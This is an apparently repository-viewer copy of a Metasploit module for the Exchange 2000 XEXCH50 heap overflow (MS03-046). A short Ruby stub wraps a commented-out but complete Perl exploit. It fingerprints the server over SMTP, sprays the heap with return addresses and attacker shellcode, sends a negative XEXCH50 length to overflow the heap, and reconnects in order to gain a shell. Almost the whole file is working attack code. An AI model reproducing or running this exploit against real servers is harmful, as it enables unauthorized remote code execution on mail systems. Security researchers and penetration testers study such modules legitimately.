379 lines
8.8 KiB
Ruby
379 lines
8.8 KiB
Ruby
|
require 'msf/core'
|
||
|
|
|
||
|
|
module Msf
|
||
|
|
|
||
|
|
class Exploits::Windows::XXX_CHANGEME_XXX < Msf::Exploit::Remote
|
||
|
|
|
||
|
|
include Exploit::Remote::Tcp
|
||
|
|
|
||
|
|
def initialize(info = {})
|
||
|
|
super(update_info(info,
|
||
|
|
'Name' => 'Exchange 2000 MS03-46 Heap Overflow',
|
||
|
|
'Description' => %q{
|
||
|
|
This is an exploit for the Exchange 2000 heap overflow. Due
|
||
|
|
to the nature of the vulnerability, this exploit is not very
|
||
|
|
reliable. This module has been tested against Exchange 2000
|
||
|
|
SP0 and SP3 running a Windows 2000 system patched to SP4. It
|
||
|
|
normally takes between one and ten tries to successfully
|
||
|
|
obtain a shell. This exploit is *very* unreliable, we hope
|
||
|
|
to provide a much more solid one in the near future.
|
||
|
|
|
||
|
|
},
|
||
|
|
'Author' => [ 'hdm' ],
|
||
|
|
'Version' => '$Revision$',
|
||
|
|
'References' =>
|
||
|
|
[
|
||
|
|
[ 'OSVDB', '2674'],
|
||
|
|
[ 'MSB', 'MS03-046'],
|
||
|
|
[ 'MIL', '20'],
|
||
|
|
|
||
|
|
],
|
||
|
|
'Privileged' => true,
|
||
|
|
'Payload' =>
|
||
|
|
{
|
||
|
|
'Space' => 1024,
|
||
|
|
'BadChars' => "\x00\x0a\x0d\x20\x3a\x3d\x2b\x22",
|
||
|
|
|
||
|
|
},
|
||
|
|
'Targets' =>
|
||
|
|
[
|
||
|
|
[
|
||
|
|
'Automatic Targetting',
|
||
|
|
{
|
||
|
|
'Platform' => 'win32, win2000',
|
||
|
|
'Ret' => 0x0,
|
||
|
|
},
|
||
|
|
],
|
||
|
|
],
|
||
|
|
'DisclosureDate' => 'Oct 15 2003',
|
||
|
|
'DefaultTarget' => 0))
|
||
|
|
end
|
||
|
|
|
||
|
|
def exploit
|
||
|
|
connect
|
||
|
|
|
||
|
|
handler
|
||
|
|
disconnect
|
||
|
|
end
|
||
|
|
|
||
|
|
=begin
|
||
|
|
|
||
|
|
##
|
||
|
|
# This file is part of the Metasploit Framework and may be redistributed
|
||
|
|
# according to the licenses defined in the Authors field below. In the
|
||
|
|
# case of an unknown or missing license, this file defaults to the same
|
||
|
|
# license as the core Framework (dual GPLv2 and Artistic). The latest
|
||
|
|
# version of the Framework can always be obtained from metasploit.com.
|
||
|
|
##
|
||
|
|
|
||
|
|
package Msf::Exploit::exchange2000_xexch50;
|
||
|
|
use base "Msf::Exploit";
|
||
|
|
use strict;
|
||
|
|
use Pex::Text;
|
||
|
|
|
||
|
|
my $advanced = { };
|
||
|
|
|
||
|
|
my $info =
|
||
|
|
{
|
||
|
|
'Name' => 'Exchange 2000 MS03-46 Heap Overflow',
|
||
|
|
'Version' => '$Revision$',
|
||
|
|
'Authors' => [ 'H D Moore <hdm [at] metasploit.com>', ],
|
||
|
|
|
||
|
|
'Arch' => [ 'x86' ],
|
||
|
|
'OS' => [ 'win32', 'win2000' ],
|
||
|
|
'Priv' => 1,
|
||
|
|
|
||
|
|
'UserOpts' =>
|
||
|
|
{
|
||
|
|
'RHOST' => [1, 'ADDR', 'The target address'],
|
||
|
|
'RPORT' => [1, 'PORT', 'The target port', 25],
|
||
|
|
'SSL' => [0, 'BOOL', 'Use SSL'],
|
||
|
|
},
|
||
|
|
|
||
|
|
'Payload' => {
|
||
|
|
'Space' => 1024,
|
||
|
|
'BadChars' => "\x00\x0a\x0d\x20:=+\x22",
|
||
|
|
},
|
||
|
|
|
||
|
|
'Description' => Pex::Text::Freeform(qq{
|
||
|
|
This is an exploit for the Exchange 2000 heap overflow. Due
|
||
|
|
to the nature of the vulnerability, this exploit is not very
|
||
|
|
reliable. This module has been tested against Exchange 2000
|
||
|
|
SP0 and SP3 running a Windows 2000 system patched to SP4. It
|
||
|
|
normally takes between one and ten tries to successfully
|
||
|
|
obtain a shell. This exploit is *very* unreliable, we hope
|
||
|
|
to provide a much more solid one in the near future.
|
||
|
|
}),
|
||
|
|
'Refs' =>
|
||
|
|
[
|
||
|
|
['OSVDB', '2674'],
|
||
|
|
['MSB', 'MS03-046'],
|
||
|
|
['MIL', '20'],
|
||
|
|
],
|
||
|
|
|
||
|
|
'DefaultTarget' => 0,
|
||
|
|
'Targets' => [['Exchange 2000', 0x0c900c90, 3000, 11000, 512]],
|
||
|
|
|
||
|
|
'Keys' => ['exchange2000'],
|
||
|
|
|
||
|
|
'DisclosureDate' => 'Oct 15 2003',
|
||
|
|
};
|
||
|
|
|
||
|
|
sub new {
|
||
|
|
my $class = shift;
|
||
|
|
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
|
||
|
|
return($self);
|
||
|
|
}
|
||
|
|
|
||
|
|
sub Check {
|
||
|
|
my $self = shift;
|
||
|
|
my $target_host = $self->GetVar('RHOST');
|
||
|
|
my $target_port = $self->GetVar('RPORT');
|
||
|
|
|
||
|
|
my $s = Msf::Socket::Tcp->new
|
||
|
|
(
|
||
|
|
'PeerAddr' => $target_host,
|
||
|
|
'PeerPort' => $target_port,
|
||
|
|
'LocalPort' => $self->GetVar('CPORT'),
|
||
|
|
'SSL' => $self->GetVar('SSL'),
|
||
|
|
);
|
||
|
|
if ($s->IsError) {
|
||
|
|
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
|
||
|
|
return $self->CheckCode('Connect');
|
||
|
|
}
|
||
|
|
|
||
|
|
my $res = $s->Recv(-1, 20);
|
||
|
|
if ($res !~ /Microsoft/) {
|
||
|
|
$s->Close();
|
||
|
|
$self->PrintLine("[*] Target does not appear to be an exchange server");
|
||
|
|
return $self->CheckCode('Safe');
|
||
|
|
}
|
||
|
|
|
||
|
|
$s->Send("EHLO X\r\n");
|
||
|
|
$res = $s->Recv(-1, 3);
|
||
|
|
if ($res !~ /XEXCH50/) {
|
||
|
|
$s->Close();
|
||
|
|
$self->PrintLine("[*] Target does not appear to be an exchange server");
|
||
|
|
return $self->CheckCode('Safe');
|
||
|
|
}
|
||
|
|
|
||
|
|
$s->Send("MAIL FROM: metasploit\r\n");
|
||
|
|
$res = $s->Recv(-1, 3);
|
||
|
|
|
||
|
|
$s->Send("RCPT TO: administrator\r\n");
|
||
|
|
$res = $s->Recv(-1, 3);
|
||
|
|
|
||
|
|
$s->Send("XEXCH50 2 2\r\n");
|
||
|
|
$res = $s->Recv(-1, 3);
|
||
|
|
$s->Close();
|
||
|
|
|
||
|
|
if ($res !~ /Send binary/) {
|
||
|
|
$self->PrintLine("[*] Target has been patched");
|
||
|
|
return $self->CheckCode('Safe');
|
||
|
|
}
|
||
|
|
|
||
|
|
$self->PrintLine("[*] Target appears to be vulnerable");
|
||
|
|
return $self->CheckCode('Appears');
|
||
|
|
}
|
||
|
|
|
||
|
|
sub Exploit {
|
||
|
|
my $self = shift;
|
||
|
|
my $target_host = $self->GetVar('RHOST');
|
||
|
|
my $target_port = $self->GetVar('RPORT');
|
||
|
|
my $target_idx = $self->GetVar('TARGET');
|
||
|
|
my $shellcode =$self->GetVar('EncodedPayload')->Payload;
|
||
|
|
|
||
|
|
my $target = $self->Targets->[$target_idx];
|
||
|
|
my ($tname, $retaddr) = @{$target};
|
||
|
|
my $buff_len = $target->[2];
|
||
|
|
|
||
|
|
$self->PrintLine(sprintf("[*] Trying '$tname' using return address 0x%.8x [$buff_len]", $retaddr));
|
||
|
|
|
||
|
|
my $counter = 1;
|
||
|
|
my @seencount = ();
|
||
|
|
|
||
|
|
while (1) {
|
||
|
|
if(! $seencount[$counter]) {
|
||
|
|
$self->PrintLine("[*] Exploit attempt #$counter");
|
||
|
|
$seencount[$counter]++;
|
||
|
|
}
|
||
|
|
|
||
|
|
$self->Print("[*] Connection 1: ");
|
||
|
|
my $s = Msf::Socket::Tcp->new
|
||
|
|
(
|
||
|
|
'PeerAddr' => $target_host,
|
||
|
|
'PeerPort' => $target_port,
|
||
|
|
'LocalPort' => $self->GetVar('CPORT'),
|
||
|
|
'SSL' => $self->GetVar('SSL'),
|
||
|
|
);
|
||
|
|
if ($s->IsError) {
|
||
|
|
$self->PrintLine('Error');
|
||
|
|
sleep(5);
|
||
|
|
next;
|
||
|
|
}
|
||
|
|
|
||
|
|
my $res = $s->Recv(-1, 3);
|
||
|
|
if (! $res) {
|
||
|
|
$self->PrintLine("Error");
|
||
|
|
next;
|
||
|
|
}
|
||
|
|
|
||
|
|
if ($res !~ /Microsoft/) {
|
||
|
|
$s->Close();
|
||
|
|
$self->PrintLine("Error");
|
||
|
|
$self->PrintLine("[*] Target does not appear to be running Exchange: $res");
|
||
|
|
return;
|
||
|
|
}
|
||
|
|
|
||
|
|
$self->Print("EHLO ");
|
||
|
|
$s->Send("EHLO X\r\n");
|
||
|
|
$res = $s->Recv(-1, 3);
|
||
|
|
if (! $res) { $self->PrintLine("Error"); next; }
|
||
|
|
|
||
|
|
if ($res !~ /XEXCH50/) {
|
||
|
|
$self->PrintLine("Error");
|
||
|
|
$self->PrintLine("[*] Target is not running Exchange: $res");
|
||
|
|
return;
|
||
|
|
}
|
||
|
|
|
||
|
|
$self->Print("MAIL ");
|
||
|
|
$s->Send("MAIL FROM: metasploit\r\n");
|
||
|
|
$res = $s->Recv(-1, 3);
|
||
|
|
if (! $res) { $self->PrintLine("Error"); next; }
|
||
|
|
|
||
|
|
$self->Print("RCPT ");
|
||
|
|
$s->Send("RCPT TO: administrator\r\n");
|
||
|
|
$res = $s->Recv(-1, 3);
|
||
|
|
if (! $res) { $self->PrintLine("Error"); next; }
|
||
|
|
|
||
|
|
# verify that the server is not patched
|
||
|
|
$s->Send("XEXCH50 2 2\r\n");
|
||
|
|
$res = $s->Recv(-1, 3);
|
||
|
|
if (! $res) { $self->PrintLine("Error"); next; }
|
||
|
|
|
||
|
|
$self->Print("XEXCH50 ");
|
||
|
|
if ($res !~ /Send binary/) {
|
||
|
|
$s->Close();
|
||
|
|
$self->PrintLine("Error");
|
||
|
|
$self->PrintLine("[*] Target is not vulnerable");
|
||
|
|
return;
|
||
|
|
}
|
||
|
|
|
||
|
|
$s->Send("XX");
|
||
|
|
$res = $s->Recv(-1, 3);
|
||
|
|
if (! $res) { $self->PrintLine("Error"); next; }
|
||
|
|
|
||
|
|
$self->Print("ALLOC ");
|
||
|
|
|
||
|
|
# allocate heap memory
|
||
|
|
my $dsize = (1024 * 1024 * 32);
|
||
|
|
$s->Send("XEXCH50 $dsize 2\r\n");
|
||
|
|
$res = $s->Recv(-1, 3);
|
||
|
|
$self->PrintLine("OK");
|
||
|
|
|
||
|
|
my $payload = ((
|
||
|
|
(pack("V", $retaddr) x (256 * 1024)).
|
||
|
|
$shellcode . ("X" x 1024)
|
||
|
|
) x 4
|
||
|
|
). ("BEEF");
|
||
|
|
|
||
|
|
$self->Print("[*] Uploading shellcode to remote heap: ");
|
||
|
|
$s->Send($payload);
|
||
|
|
$self->PrintLine("OK");
|
||
|
|
|
||
|
|
$self->Print("[*] Connection 2: ");
|
||
|
|
my $x = Msf::Socket::Tcp->new
|
||
|
|
(
|
||
|
|
'PeerAddr' => $target_host,
|
||
|
|
'PeerPort' => $target_port,
|
||
|
|
'SSL' => $self->GetVar('SSL'),
|
||
|
|
);
|
||
|
|
if ($x->IsError) {
|
||
|
|
$self->PrintLine('Error');
|
||
|
|
next;
|
||
|
|
}
|
||
|
|
|
||
|
|
$res = $x->Recv(-1, 3);
|
||
|
|
if (! $res) {
|
||
|
|
$self->PrintLine("Error");
|
||
|
|
$self->PrintLine("[*] No response");
|
||
|
|
next;
|
||
|
|
}
|
||
|
|
|
||
|
|
$self->Print("EHLO ");
|
||
|
|
$x->Send("EHLO X\r\n");
|
||
|
|
$res = $x->Recv(-1, 3);
|
||
|
|
if (! $res) { $self->PrintLine("Error"); next; }
|
||
|
|
|
||
|
|
if ($res !~ /XEXCH50/) {
|
||
|
|
$self->PrintLine("Error");
|
||
|
|
$self->PrintLine("[*] Target is not running Exchange: $res");
|
||
|
|
return;
|
||
|
|
}
|
||
|
|
|
||
|
|
$self->Print("MAIL ");
|
||
|
|
$x->Send("MAIL FROM: metasploit\r\n");
|
||
|
|
$res = $x->Recv(-1, 3);
|
||
|
|
if (! $res) { $self->PrintLine("Error"); next; }
|
||
|
|
|
||
|
|
$self->Print("RCPT ");
|
||
|
|
$x->Send("RCPT TO: administrator\r\n");
|
||
|
|
$res = $x->Recv(-1, 3);
|
||
|
|
if (! $res) { $self->PrintLine("Error"); next; }
|
||
|
|
|
||
|
|
$self->Print("XEXCH50 ");
|
||
|
|
|
||
|
|
# allocate a negative value
|
||
|
|
$x->Send("XEXCH50 -1 2\r\n");
|
||
|
|
$res = $x->Recv(-1, 3);
|
||
|
|
if (! $res) {
|
||
|
|
$self->PrintLine("Error");
|
||
|
|
$self->PrintLine("[*] No response");
|
||
|
|
next;
|
||
|
|
}
|
||
|
|
$self->PrintLine("OK");
|
||
|
|
|
||
|
|
$buff_len += $target->[4];
|
||
|
|
if ($buff_len > $target->[3]) { $buff_len = $target->[2] }
|
||
|
|
|
||
|
|
# send the massive buffer of our return address
|
||
|
|
my $heapover = pack("V", $retaddr) x ($buff_len);
|
||
|
|
|
||
|
|
$self->PrintLine("[*] Overwriting heap with payload jump ($buff_len)...");
|
||
|
|
$x->Send($heapover);
|
||
|
|
|
||
|
|
# reconnect until the service stops responding
|
||
|
|
my $count = 0;
|
||
|
|
$self->Print("[*] Starting reconnect sequences: ");
|
||
|
|
|
||
|
|
while ($count < 10) {
|
||
|
|
my $tmp = Msf::Socket::Tcp->new
|
||
|
|
(
|
||
|
|
'PeerAddr' => $target_host,
|
||
|
|
'PeerPort' => $target_port,
|
||
|
|
'LocalPort' => $self->GetVar('CPORT'),
|
||
|
|
'SSL' => $self->GetVar('SSL'),
|
||
|
|
);
|
||
|
|
|
||
|
|
if ($tmp->IsError) {
|
||
|
|
last;
|
||
|
|
}
|
||
|
|
|
||
|
|
$tmp->Send("HELO X\r\n");
|
||
|
|
$tmp->Close();
|
||
|
|
$count++;
|
||
|
|
}
|
||
|
|
$self->PrintLine(" OK");
|
||
|
|
$self->PrintLine("");
|
||
|
|
$counter++;
|
||
|
|
}
|
||
|
|
return;
|
||
|
|
}
|
||
|
|
|
||
|
|
|
||
|
|
=end
|
||
|
|
|
||
|
|
|
||
|
|
end
|
||
|
|
end
|